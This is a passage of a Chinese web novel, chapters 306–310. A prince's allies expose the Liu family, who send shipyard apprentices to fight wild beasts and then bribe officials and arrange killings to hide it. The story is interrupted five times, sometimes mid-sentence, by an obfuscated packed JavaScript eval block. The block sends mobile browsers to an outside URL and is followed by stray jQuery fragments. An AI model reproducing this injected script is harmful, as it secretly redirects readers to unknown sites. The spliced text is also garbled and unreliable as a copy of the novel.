“长大了又如何?”崔皇后的声音轻柔,带着一丝难以言喻的疼惜和深深的愧疚,“便是你七老八十,做了祖父,在母后这里,你也永远是母后的孩子。”
她一边细细地替他擦拭一边道:“先前的事,是母后错了。我和你父皇答应你,以后无论什么事,绝不会只告诉小石头不告诉你。”
旁边的文昭帝,既是父亲,更是君王。
让他直接开口认错,终究有些难以启齿。
他清了清嗓子,沉声开口,算是默认了皇后的承诺:“嗯。皇后说的是。以后不会再瞒着你了。”
谢元宸心头泛起一阵酸涩,更多的却是暖意。
那一点最后堵在心口的委屈,随着母后轻柔的动作,一点一点,悄无声息地消散了。
他吸了吸鼻子,轻轻点头:“嗯!儿臣若有事,也绝不会有事瞒着父皇和母后。”
待到脸上收拾干净,仪容重新恢复整洁,谢元宸深吸一口气,彻底平复了心绪。
他退后一步,端端正正地撩袍跪倒在地,对着龙榻上的帝后行了一个标准的叩拜大礼。
他的声音恢复了平日的清朗沉稳,却也带着一丝不易察觉的赧然:“儿臣御前失仪,惊扰圣躬。请父皇、母后责罚。”
他跪得笔直,姿态恭谨,仿佛刚才那委屈质问的场景,只是帝后的一场幻觉。
文昭帝和崔皇后对视一眼,有些无奈,但又有些骄傲。
这孩子,终究是委
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16100188|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
屈狠了才如此失态。
失态过后,能迅速找回本心,勇于自省,这份刻在骨子里的端方持重,才最是难得。
他们教养出来的太子,真的很好。
于是文昭帝清了清嗓子,故意板起脸:“嗯,失仪是真,惊扰也是真。既已知错请罚……”
崔皇后心都提到了嗓子眼,生怕皇上说出什么重话来。
“那就罚你回去将《孝经》和《兄弟》篇,各抄一遍。明日亲自呈给朕看。”
崔皇后闻言,悬着的心瞬间落了地,甚至差点没忍住笑意,这算什么惩罚。
她立刻接口,声音带着如释重负的轻快:“抄书好,静心养性。皇上英明!”
谢元宸也明白父皇这是高高拿起,轻轻放下,心下一暖赶忙谢恩:“儿臣谨遵父皇母后教诲。”
*
远在青州的谢翊宁忽然打了两个喷嚏。
他扭头看向身旁的鸣珂:“你说,是不是有人在背后说本王坏话?”
鸣珂老老实实道:“打喷嚏不能说明有人说您的坏话。您莫不是感了风寒?要不请小季大夫来给您瞧瞧?”
谢翊宁:“……”
真是个呆头鹅。
要是停云在就好了,肯定会兴致勃勃地跟他猜是谁在说他的坏话。
唉,今天也是想念停云的一天。
他什么时候才能好起来啊。
“不必了,本王好着呢。”他百无聊赖地摆了摆手。
这时,秦朔快步走了进来。
“王爷,登州那边已经答应借兵,您要的一千兵马已经在路上了。”
听到这话,谢翊宁眼前一亮。
不错,安全有保障,那接下来就可以引蛇出洞了。
柳家人迟迟不来拜见他,那他就发发善心,做个好人,让他们主动登门吧。
“好,那另一桩事呢,可也办妥了?”谢翊宁追问。
“回王爷,已办妥,只等您一声令下。”秦朔斩钉截铁的回答。
一种久违的热血沸腾之感涌上心头。
哪个男儿不想建功立业,升官发财呢。
追随永安王,果真是惊喜不断啊。
他有预感,这一**京,他能再往上升一升了。
第306章 死得好冤啊
很快,好戏登场。
一个约莫三十出头皮肤黝黑粗糙的汉子,“噗通”一声直挺挺跪在了青州府衙门前的青石板上。
“栓子,你死得好冤啊——!”
这一嗓子,瞬间盖过了府衙东墙外早市传来的嗡嗡人声。
赶着驴车的老农,挑着空鱼篓的鱼贩子,大早上买菜的仆妇,来来往往的人群听到这动静,都忍不住凑了过来。
跪着的那汉子,他根本不管什么体面不体面的,哭得眼泪鼻涕糊了一脸:
“青天大老爷,您开开眼吧!柳家草菅人命,求您还俺弟弟一个公道!”
柳家?
草菅人命?
这两个词连在一起,瞬间吸引了过多的百姓。
不一会儿,府衙门前就围起了一圈厚厚的人墙。
衙役还没出来,围观的好事百姓忍不住开口:“大兄弟,你这是咋了?”
跪在地上的汉子顿时接话:“俺是青州柳家船厂学徒杨栓子的亲哥!俺叫杨大柱。俺打北边三百里外的杨树屯,一路讨饭过来的啊。”
他冲着府衙门口继续哭嚎。
“俺那苦命的兄弟栓子,才十六啊!家里穷,爹娘砸锅卖铁送他来青州,就指望着在柳家这大船厂学门手艺,挣口饭吃,将来能养家。”
“他来了之后,托人给俺们带了好几回信,说他在厂子里可勤快了,天不亮就起来扫院子,天黑透了才歇下,就盼着能学点真本事。”
“可上个月,突然就没了信。俺托人打听,才知道柳家那帮天杀的,硬说俺兄弟偷了他们船厂什么秘造的图纸,当场就给活活打**啊!”
他猛地指向衙门大门,手指头都在哆嗦,声音陡然拔高,带着哭腔的怒吼在人群里炸开:
“放**狗臭屁!俺兄弟栓子老实得跟头牛似的。在家连邻居家鸡窝里的蛋都没摸过一个。他连自个儿名字都写不利索,偷图纸干啥?他偷那玩意儿擦腚都嫌硬!”
“柳家这是睁眼说瞎话!他们明明是故意让俺兄弟去送死的!”
围观人群嗡嗡地议论开了。
“你觉得他说的真的假的?”
“谁知道呢,看他哭得这般伤心,应该不是假的吧?”
人群里大多数人都对杨大柱哭嚎的惨状产生了同情心。
可偏偏有那不信邪的,扯着嗓子就嚷:
“扯淡!柳家多大的家业,用得着跟个小学徒过不去?我看啊,准是钱没讹够,跑这儿撒泼来了。”
旁边立刻有人帮腔,嗓门更大,透着股与有荣焉的劲儿。
“就是!柳家可是咱青州百年的积善之家。逢年过节施的粥,那都是稠的,还飘着肉星儿。活菩萨一样的人家,能干这缺德事儿?”
这两人的话激怒了跪在地上的杨大柱。
他猛地从地上站起来,冲过去揪住刚刚替柳家人说话的那个中年汉子的领口,怒吼道:“活菩萨?我呸!那分明是**不吐骨头的活阎王!!!”
他吼声震得人耳朵嗡嗡响,把周围所有的嘈杂都压了下去,
“俺告诉你们,他们船厂招人,压根儿不是学什么狗屁造船!那是招人去喂畜生,是送到阎王爷跟前去送死的。”
他猛地甩开那被吓懵了的汉子,血红的眼睛扫过一圈惊疑不定的脸,用尽全身力气咆哮:
“不信?你们去打听打听。柳家船厂这几年,到底病**多少?失足摔**多少?偷东西被打**又有多少?”
杨大柱怒吼声一声比一声高,让里里外外围着的人都听清了。
“天爷啊,他说啥?”
“让人去送死?”
“柳家船厂这几年是听说走了不少人……”
所有人后脊梁都窜起一股寒气,隐隐觉得,今天怕是要有大事发生了。
就在这时,府衙门口传来了两声怒吼。
“住口!大胆刁民!公堂之外,岂容你咆哮诬陷!”
只见两个膀大腰圆的衙役凶神恶煞地从衙门里冲了出来。
他们根本不给杨大柱再开口的机会,直接勒住了他的脖子,捂住了他的嘴,粗暴地拖拽着他往衙门侧门里拉。
“扰乱公堂!带走!”
衙役的吼声盖过了柳大柱的呜咽。
这一切发生得太快、太粗暴。
人群彻底炸开了锅。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16100189|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
老天爷啊,直接捂嘴了!”
“看见没?不让说了!这是怕他说出什么来啊!”
“我的娘哎,那汉子刚才说的怕不是真的?不然官差急啥?”
“就是!你看捂得多狠,怕不是要灭口吧?”
所有人脸上都带着惊魂未定和恍然大悟的恐惧。
“快走快走,这地方不能待了……”
“回去说!回去再说!”
人群像受惊的鸟兽轰然散开,“柳家船厂招人去送死”的消息也随着他们的离去迅速蔓延开。
很快,柳家人就收到了这消息。
是邢天海命人传给他们的,还恭恭敬敬地写了信,询问他们该怎么处置杨大柱。
“这姓邢的第一时间就传消息给咱们了,是不是说明他还没有背叛咱们?”柳承德看向了大哥。
“未必。万一是有人故意指使他这么做,获取咱们的信任呢?”柳承岳反驳。
“永安王不是都把他儿子打得趴在床上起不来了么,他还能和永安王合作不成?”柳承德觉得不可能。
“可他若有意替咱们遮掩,为何不一开始在说到柳家的时候,就把人请进去。为什么让人进去的时候不客气些,反而做出一副捂嘴心虚的模样?”柳承岳依旧觉得邢天海靠不住。
柳承德一下被他问得哑口无言,只得看向了大哥柳承宗。
“大哥,你觉得呢?”
柳承宗摆摆手,对此事不予评判,他只是很疑惑:“那些人不是都打点好了么,这杨大柱是哪里冒出来的?”
这时船厂的管事拿着名单跑了过来,额头上冒着豆大的汗珠,急急忙忙汇报:
“回家主,回两位老爷。杨栓子是咱们半年前招过来的,在船厂干得不行,笨手笨脚的。但好在身子骨不错,小的跟他打听过他是外乡人,家里只有老母和幼弟,所以才把他送去了临清。”
“两个月前,他去临清身亡了,小的就用了老法子处理了他。他家里人也没来闹啊。”
“只有老母和幼弟,就是说没有兄长?”柳承岳身子一凛。
那今日忽然冒出来的杨大柱?
有古怪!
第307章 他好命苦啊
“应该是吧……”管事有些不确定地回答。
“什么叫应该?”柳承德沉着脸看向他。
管事赶忙道:“亲大哥是没有的,但堂兄表兄这种,小的,小的就说不准了。”
毕竟是个外乡人嘛,他哪里会跑去调查他家里到底有什么人人。
他就喜欢招外乡人,外乡人**,那笔抚恤银,他还能自己吞了。
所以杨栓子**没家里人找过来,他还高兴了一段时间。
谁能想,现在忽然冒出一个杨大柱。
“大哥!肯定有人在故意搞鬼,不然怎么可能这么精准的说出猛兽**这种话。”柳承岳猛地看向了柳承宗。
这些年,不是没有人想来柳家船厂讨公道。
但他们已经形成了一套完善的处理流程。
来了就先客客气气地把人请进门,之后再威逼利诱,那些没见过世面的乡下人,很快就屈服了。
非要闹的,他们便许以重金,拿出个几百两银子给他们。
那些乡下泥腿子,一辈子都没见过那么多银子,他们自然高高兴兴不再闹。
可他们柳家的银子哪里是那么好拿的。
那些人一走,柳家转头去官府状告他们恐吓取财,让他们蹲大牢。
反正官府是他们的人,那些银子转一圈,很快就重新回到他们手中了。
这些年从没出过岔子。
这杨大柱忽然出现,摆明了有问题。
“谁这么不长眼,敢在青州地界跟咱们柳家作对?等我把人找出来,扒了他的皮。”柳承德骂骂咧咧。
“还能有谁。”柳承宗冷笑一声。
“不就是永安王么。”
如今青州唯一的变数,就是永安王和令嘉县主。
那个令嘉县主是回来寻亲的,一个弱女子,不必放在心上。
反倒是永安王,去过血金笼,而且在京城里不知天高地厚张扬惯了,遇上这种事,很可能会出手。
“那咱们该怎么做?”柳承德一听是谢翊宁干的,顿时攥紧了拳头。
柳承宗淡淡一笑:“让邢天海公开审理此案,让他想法子证明,杨大柱是诬告。他若办好了,说明他对柳家没有异心。若办不到……”
他不必说完,柳承岳和柳承德就明白了。
堂堂知府,办不了这么一个小案子,分明就是故意和他们作对。
“大哥英明。我这就派人去邢府走一趟。”柳承德露出了崇拜的眼神。
柳承宗摇了摇头:“不,你亲自带着三弟妹去一趟,看看他的家眷如何了。打听些有用的东西回来。”
“是。”柳承德当即应下。
柳承岳还有些担忧:“那那些市井流言该如何处理?如今传得满城风雨,说什么的都有,长此以往,恐怕会中伤我柳家百年清誉。”
“小事一桩。承岳,你还是太沉不住气。”柳承宗脸上带着慵懒的笑意,语气轻松得仿佛在谈论窗外的天气。
“那些无知草芥,最是健忘,也最是容易摆布。几句捕风捉影的闲话,翻得起多大浪花?他们今日能嚼舌根说柳家是活阎王,明日我就能让他们跪在地上高呼柳家是活菩萨。”
“管家。”他声音微微拔高了一些。
侍立在一旁的老管家立刻躬身行礼:“老奴在,家主请吩咐。”
“去办两件事。”柳承宗吩咐了下去。
“第一,即刻命人熬上几大桶解暑去火的绿豆甘草汤,用冰镇上,送去码头。告诉他们,柳家体恤他们夏日做工辛苦,特意加的恩典。”
“第二,让刘掌柜把他手下那几个最能说会道的说书人都撒出去。茶馆、酒肆、城隍庙,哪儿人多就往哪儿钻。”
“就讲讲前年水灾,柳家是如何开仓放粮,救活无数人的;再讲讲柳家船厂每年给官府纳多少税银,养活了青州多少门户;记得重点讲一讲那些不知感恩、反口诬陷恩主的小人,最后遭了天谴,被雷劈死街头的报应故事。”
管家心领神会,垂首道:“是,老爷。”
待到管家离去,柳承宗这才看向了二弟柳承岳,脸上满是自得的笑。
“这两件事办完,再加上邢天海那边把杨大柱打成恶意诬告,咱们柳家的名声,还能受损么?”
柳承岳重重点头:“还是大哥考虑得周到。”
柳承宗冷冷一笑:“永安王以为用那
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16106013|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
点谣言就能击垮柳家么,不自量力。”
“不过是一群无头苍蝇在嗡嗡乱叫罢了。撒点蜜糖,拍死几只带头的,剩下的,自然就散了。记住,在这青州城,柳家的名声,柳家自己说了算。不是什么阿猫阿狗喊两嗓子,就能动摇的。”
“是。”听完这话,柳承岳对大哥心服口服。
*
邢天海收到了柳家递来的帖子,苦兮兮地请示秦朔派来的两个护卫。
“林护卫、赵护卫,你们看,这事该怎么办?”
他已经能猜到,柳承德来做什么了。
明面上是来探望儿子的,实际上多半是为了杨大柱一事来的。
“他让你干什么,你答应就是了。”林护卫十分淡定。
“可、可这不好吧?这不是打乱了王爷的计划?”邢天海大吃一惊。
“你若推脱,岂不是漏出马脚?那才是真的坏了王爷的事。对了,柳家财大气粗,你能多捞点就多捞点,明白了吗?”林护卫提醒。
一旁的赵护卫也跟着点头:“你捞得越多,到时候在王爷那边的功劳才越重,也能将功折罪。”
邢天海:“……”
合着他待会得演一个贪官,但**的钱还落不到他兜里?
他怎么就那么命苦啊。
但对上林、赵二人的眼睛,他立刻就不敢反对了,当即点头:“本官定不会坏了王爷的事,一定把事情办得妥妥当当。”
没过多久,柳承德就带着夫人和女儿登上了邢府。
邢天海目光扫过柳承德身后的女眷时,眼底却飞快掠过一丝不易察觉的诧异。
他没想到柳承德竟把家眷也带来了。
可不能让他那夫人与柳家家眷见面,不然还不知道要生出多少事端来。
转念间,他的心下有了计较。
心里想着事情,动作就慢了一拍。
见他没有像往常一样先迎上来说客套话,柳承德脸色微微有些不悦,冷着脸道:“见过邢大人。”
“柳三老爷不必多礼,太见外了。”邢天海虚扶一下,侧身将人带进了花厅。
丫鬟将茶送上来后,邢天海将目光转向柳承德的夫人。
第308章 换个听话的
他一脸抱歉道:“唉,柳三夫人、柳小姐,今日真是招待不周,还请两位海涵。”
他语气带着浓浓的无奈和一丝恰到好处的疲惫。
“说来惭愧,自打犬子前些日子缠绵病榻,内子便日夜悬心,操劳过度。这不,昨夜忧思过甚,今早起身便觉头晕目眩,心悸难安,刚服了安神汤药,此刻还在昏睡之中。恐怕是无法起身亲自接待二位了!”
柳三夫人看了一眼夫君。
今日夫君带他们来知府府衙做客,已经明说了是要她找知府夫人打探消息的。
如今人家却说夫人在昏睡,她也不好去把人叫醒吧。
柳承德眉头微皱,冲妻子眨了眨眼睛。
柳夫人闻言,忙道:“大人快别这么说,自然是夫人身体要紧。我与芳华小坐片刻,待夫人醒了另行问安便好。”
邢天海见他们非要等,于是转头吩咐侍立一旁的管事嬷嬷。
“李嬷嬷,你引柳三夫人和小姐到后园沁芳亭小坐,那里临水,还算凉爽。让厨房送些新制的荷花酥和冰镇酸梅汤过去,再取些上回得的苏绣花样子来,请夫人和小姐赏玩解闷。”
“是。”李嬷嬷应下,将柳三夫人和柳小姐带走了。
邢天海也扭头看了林护卫一眼。
林护卫微微颔首。
邢夫人是个蠢货,邢大人都说了她在昏睡,他自然不会让柳家家眷见到她。
见林护卫领会他的意图离开,邢天海这才松了一口气。
他看向柳承德,露出了惯常的笑:“柳三老爷近来可好?”
柳承德哪有心思跟他绕弯子寒暄。
他强压下心头的烦躁,脸上勉强挤出一丝笑意,却显得僵硬无比:“托邢大人的福,尚可。只是今日冒昧登门,实为府衙门前那刁民杨大柱之事。”
“此人当众污蔑我柳家清誉,更捏造什么送死的无稽之谈,煽动无知小民,其心可诛!”
他目光灼灼地盯着邢天海:“他分明是蓄意诬告,意图敲诈勒索我柳家。此事若任其发酵,不仅伤我柳家百年声誉,更恐扰了青州安宁,有损大人治下清名啊!还请大人替柳家做主。”
邢天海脸上堆起客气的笑:“柳三老爷所言甚是。这等刁民,胆敢攀诬良善,扰乱公序,本官岂能容他?青州谁人不知柳家世代忠厚,乐善好施。本官定当还柳家一个清白!”
柳承德听他答应,心中稍定,正要拱手道谢,却见邢天海话锋似有若无地一转。
“只是啊……柳三老爷,你也知道。这等案子,若要办得铁板钉钉,滴水不漏,让那些无知小民再不敢嚼舌根,光有本府的明察秋毫还不够。上下打点,证人佐证,口供文书……”
邢天海说到这,眼神似笑非笑地瞟了柳承德一眼,食指与拇指捻了捻。
“这期间总免不了要疏通些关节。本官两袖清风,俸禄微薄,难免有些有心无力啊。”
柳承德磨了磨后槽牙。
这狗东西,事情还没办成就敢要钱?
他们之前给了他那么多银子,还喂不饱他么?
“你想要什么?”柳承德沉下脸,直接挑明了问。
“那就要看柳家的名誉在三老爷眼中值多少银子。”邢天海硬着头皮开口。
他也不想得罪柳家人的。
但他的小命还系在永安王的腰带上,他只能从柳家掏银子了。
柳承德死死盯着他,但又无可奈何。
邢天海说到底,还是一方父母官,他们如今还有用得着的地方。
他冷冷一笑:“邢大人为青州殚精竭虑,为我柳家主持公道,劳心费力,自然不能让大人白白操劳。柳家自会奉上厚礼,还望邢大人多多费心。”
邢天海顶着他**的目光挤出笑容:“好说好说,为**持公道,是本官的义务和责任。只等柳家表态,本官立刻将那杨大柱给审问清楚,还柳家清白。”
柳承德:“……”
该死的邢天海,真是不见兔子不撒鹰啊。
竟然真在他面前摆起知府大人的谱来了。
等此事一了,他定要让大哥给京城去信,换一个听话的知府来。
这个邢天海,不能留了。
“大人放心,东西稍后便会送上。”他忍着对邢天海的不满,做出了承诺。
他待不下去了,匆匆叫上夫人和女儿回家准备贿赂邢天海的“厚礼”。
约莫半个时辰后,柳家人便送来了一千两银票和一对上好
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16106014|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的翡翠镯子。
邢天海哪里敢拿在手里,火速命人把东西送给了谢翊宁。
“这邢天海倒是识趣。”谢翊宁毫不客气地收下了这份贿赂。
“王爷,那柳家已经开始反击,咱们第二步该怎么办?”秦朔十分担忧。
青州是柳家人的大本营,光靠传谣这法子,他们根基尚浅,根本赢不了他们啊。
“本来也没指望杨大柱的话能起多大风浪,咱们如今不是已经收到报酬了么。”谢翊宁指了指那一千两白银和翡翠镯子。
之前母后替他准备好的给棠家人的见面礼都落在临清客栈了。
现在这对镯子成色尚可,送棠夫人正好。
而那一千两银票用来建设棠家村的祠堂,祭奠那些无辜枉死的冤魂,当做给棠家父子的见面礼,也算拿的出手了。
“今日之事办妥了?”谢翊宁反问。
“办妥了。”秦朔点了点头。
“刘禾生已经看到了杨大柱状告柳家船厂的经过。”
这刘禾生,便是去年被柳家送进搏命窟,侥幸从阎王爷手里爬出来的一个。
一条胳膊,生生断在了那铁笼子里,再不能使唤半分。
这般模样,自然做不了柳家船厂的学徒,被草草打发回了家。
柳家对外头说是他****躁躁,在船厂里走神儿,自个儿不小心把胳膊弄断了。
这刘禾生归家之后,柳家也没忘了他。
每逢月半十五,必打发个小厮拎着半篮子鸡蛋、一小袋糙米白面,送到他家里。
东西不多,却也足够在四邻八舍面前塑造柳家有情有义的形象。
乡邻们哪里知道这背后的隐情。
只知道这断了臂的废人,每月还能得着柳家的惦记,每一回瞧见了都忍不住称赞柳家的好。
“瞧瞧,到底是积善的柳家!人伤了干不了活,还念着旧情,月月给送粮。”
“可不是嘛,换了别家,谁管你死活?柳老爷真是活菩萨心肠!”
“刘家小子,你这可是因祸得福,摊上个好主家啊。日后等我家小子长大了,我也要让他去柳家造船厂。”
……
可这一回,刘禾生回到巷子里,听到的话却变了。
第309章 事情办成了
卖鱼的于三儿那破锣嗓子正激动地嚷嚷:“喂!都听说了没?柳家造船厂,这回是真害**了!”
“啥?害**?咋回事?”几个闲着的婆子立刻围了上去。
“嘘——小点声儿!”于三儿贼兮兮地左右瞄瞄,压低声音。
“我可是费老鼻子劲才打听出来的。柳家招人,压根儿就不是去当什么学徒!那是……”
他唾沫横飞,把杨大柱的事添油加醋说了一遍,末了还神神秘秘地加上自己的独门见解。
“听说是柳家为了自个儿发大财,专门找阳气壮的小伙子去填命格,吸人家的福运!去了的,要么缺胳膊少腿,要么直接没了命。完了还赖人家偷东西、犯事儿。柳家倒是越来越红火,可怜那些人啊……”
巷子里顿时炸了锅,七嘴八舌,嗡嗡作响。
“我的老天爷!”
“怪不得他们能在青州屹立两百年不倒呢……”
“造孽啊……”
就在这时,于三儿一眼瞥见了正要低头溜墙根过去的刘禾生,立马拔高声音喊道:
“诶,刘家的那小子,你是柳家造船厂出来的,你给咱们说说呗,柳家造船厂到底害**不少人啊?”
刘禾生浑身猛地一僵,那半截空荡荡的袖子都跟着抖了一下。他脸皮发紧,头也不敢抬,含含糊糊地嘟囔:“没、没听说……我就知道干活,别的不清楚……”
他的声音小得像蚊子哼哼,随后他胡乱摆着那只完好的手,脚下跟抹了油似的,加快步子,几乎是逃也似的钻进了自家破旧的屋子里。
“哐当”一声,把门关严实了,将那些人的议论隔绝在外。
夜深了,躺在硬板床上,刘禾生想着今日杨大柱状告柳家人的事情根本睡不着。
于是便翻来覆去像烙饼似的,身下的破席子被他碾得吱呀作响。
旁边的妻子何翠花被他吵得心烦,没好气地踹了他一脚:“死鬼!有虱子咬你啊?翻腾个没完!还让不让人睡了?胳膊废了,连觉都不会睡了是吧。”
刘禾生被骂得脸瞬间涨红了,他心里烧起了一把火。
但他向来嘴笨,不知道该怎么反驳,只得猛地坐起身。
“我出去透透气!”他哑着嗓子低吼了一句,也不管何翠花在后头骂骂咧咧,快步冲到了院子里。
夜风带着点凉气,吹在汗津津的脖子上,稍微让他清醒了点。
他抬头望着黑黢黢的天,心里沉甸甸的。
今日杨大柱状告柳家的事情,让他心里慌得很,睡不着啊。
他一闭眼就是血金笼里和野狼搏斗的场景。
“唰!”
这时一道黑影毫无征兆地从矮墙头翻了下来,手里一道寒光直直就朝刘禾生心口扎了过来。
刘禾生魂儿都吓飞了。
求生的本能让他那只完好的手猛地往旁边柴堆一捞,仓促间竟让他摸到了平时劈柴用的斧子柄。
他根本来不及多想,几乎是闭着眼,用尽全身力气,抡起那沉甸甸的斧头就往前胡乱一劈!
斧头重重地磕在袭来的刀身上,巨大的反震力让刘禾生那只手又麻又痛,斧头差点脱手,人也踉跄着**两步。
黑衣人一愣,顿在了原地,显然没想到刘禾生一个废物竟然还能挡下他这一击。
“谁?!你是谁?!”刘禾生嘶声喊道,胸口剧烈起伏,单手死死攥着斧柄,手心全是汗。
黑衣人冷冷道:“柳家的事,你知道得太多,该上路了。放心,我好人做到底,送你全家一起作伴,黄泉路上也不孤单!”
话音未落,刀光又起,这次更快更刁钻,直取他咽喉!
“救命啊,**啦——!!!”何翠花的尖叫声划破了夜空。
她起夜,刚撩开门帘就看见这要命的一幕。
紧接着,刘禾生爹娘屋里的灯也亮了,老两口跌跌撞撞跑出来。
他爹一眼看到儿子遇险,怒吼一声,抄起门边顶门用的粗大木杠子就冲了过来。
他娘吓得腿软,瘫坐在地上拍着大腿哭嚎:“来人啊!救命啊!**了!”
这惊天动地的哭喊声,瞬间惊醒了左邻右舍。
好几家都亮了油灯,狗也跟着狂吠起来。
那黑衣人一看惊动了四邻,知道今夜杀不了人了,闪身便溜走。
临走时,还让起身看戏的邻里都瞧见了他的背影。
院子里,只剩下惊魂未定的刘家人和闻声探头出来的邻居。
刘禾生浑身抖得筛糠一样,刚才硬撑着的那股劲儿泄了,手中沉重的斧头“哐啷”一声砸在泥地上。
他看着爹娘惊恐灰败的脸,听着妻子何翠花撕心裂肺地抽噎,再想到刚才那索命的刀光……
“啊——!!!!”
刘禾生崩溃地大喊出声。
刘老婆子看着儿子双
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16106015|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼赤红的模样,吓得起身上前,颤抖着声音问:“儿啊,发、发生什么事了?”
刘禾生看着老娘的脸,再也忍不住,把所有事情和盘托出。
他大吼道:“是他们!是柳家!他们要灭口!”
听到这话,邻里的人不由联想到了白日里于三儿说的那些话。
不会吧,那些市井传言竟然是真的?
于三儿的狗嘴里,竟然还有实话?
邻居王婆子忍不住道:“柳家对你不是挺好的么,每个月十五还给你们送吃的呢。”
“什么好心?他们那是怕我说出去乱说话。怕我说出他们怎么用人命填他们的富贵!”
“柳家人专骗我们这种穷苦人家去跟猛兽搏命,换来的银钱给他们发家致富。杨大柱说得对,他们就是**不吐骨头的活阎王!”
吼完这一通,他整个**口大口地喘着粗气,无力地跌坐到了地上。
“什么学造船,都是骗人的……”他抽泣着把招募学徒背后的真相说了出来。
围观的邻里听得是毛骨悚然。
柳家人竟然用这种法子骗了那么多人!
刘老婆子听完这话,眼泪啪嗒掉了下去。
她颤抖地摸着儿子的断臂,哭得撕心裂肺:“原来,原来你的胳膊竟然是这样没的。这杀千刀的柳家,竟然还装菩萨,天老爷啊,你开开眼,收了他们吧。”
“老天爷若是能开恩,柳家还能逍遥至今么?”刘老头捡起地上的斧子,紧紧握着,像是要给自己勇气。
他一字一句道:“我要亲自去给禾生讨回一个公道。”
刘老婆子听到这话吓了一跳,赶忙上前劝阻:“老头子,你莫要冲动!”
刘老头摇了摇头:“我没冲动。等天一亮,我就去击鼓鸣冤。杨大柱给他兄弟讨公道,我老头子要给我儿讨公道。”
刘禾生听到这话,“哇”一声哭了出来。
“爹啊。”他起身一把搂住了父亲的腰,哭得像个孩子。
许久之后,他才冷静下来:“好,天亮之后,咱们就去报官。”
报官或许还能有一线生机。
他们若是出事了,官府还能查到柳家头上,今夜可有不少邻里都瞧见了,柳家派了**来。
但若是继续当缩头乌龟,恐怕全家都活不了了。
躲在树上的鸣珂和九栀,瞧见这一幕,对视一眼。
“成了。”
第310章 小觑了女子
两人匆匆回院子复命,就看见穿着夜行衣的棠云麒眉飞色舞的跟晏逐星说起今夜的事情。
“婋婋,大哥今晚表现得还不错吧?”
“不错。大哥果然厉害,你一出手,就把他们给骗到了。”晏逐星笑着点了点头。
谢翊宁也点头:“棠大公子今夜做得很好。”
“多谢王爷夸赞。”棠云麒赶忙行礼道谢。
知道王爷准备对付柳家人之后,他便也自告奋勇地要来帮忙。
不实实在在的挣点功劳,他回京进国子监,靠的全是妹妹帮划拉的功劳,他不安心啊。
瞧见九栀和鸣珂,他比晏逐星和谢翊宁还激动。
“如何了?”
“他们已经决定要报官了。”鸣珂沉声回答。
今夜的计划。
乃是棠家大公子出手,他和九栀负责收尾。
如果出什么岔子,他们再补救。
没想到棠家大公子演得还挺像那么一回事,没出纰漏。
这下刘家附近的街坊邻居们都知道了昨夜柳家派人去灭口了。
“嗯,看看他们天亮之后会不会改主意。如果改了,想法子,再鼓动他们去。”谢翊宁点了点头、
“是,王爷。”鸣珂当即应下。
棠云麒第一次执行这样的任务,还有些亢奋睡不着,他忍不住问了出来:“王爷,就凭杨大柱和刘禾生两个平头百姓,真的能撼动柳家这棵盘根错节的大树吗?怕是不够份量吧?”
“水能载舟,亦能覆舟。民心的分量,有时重逾千钧。”谢翊宁语气笃定。
“看似只有两人站了出来,可星星之火,焉知不会燎原?只要邢大人公平公正审案。百姓心中那杆秤,自会倾斜。”
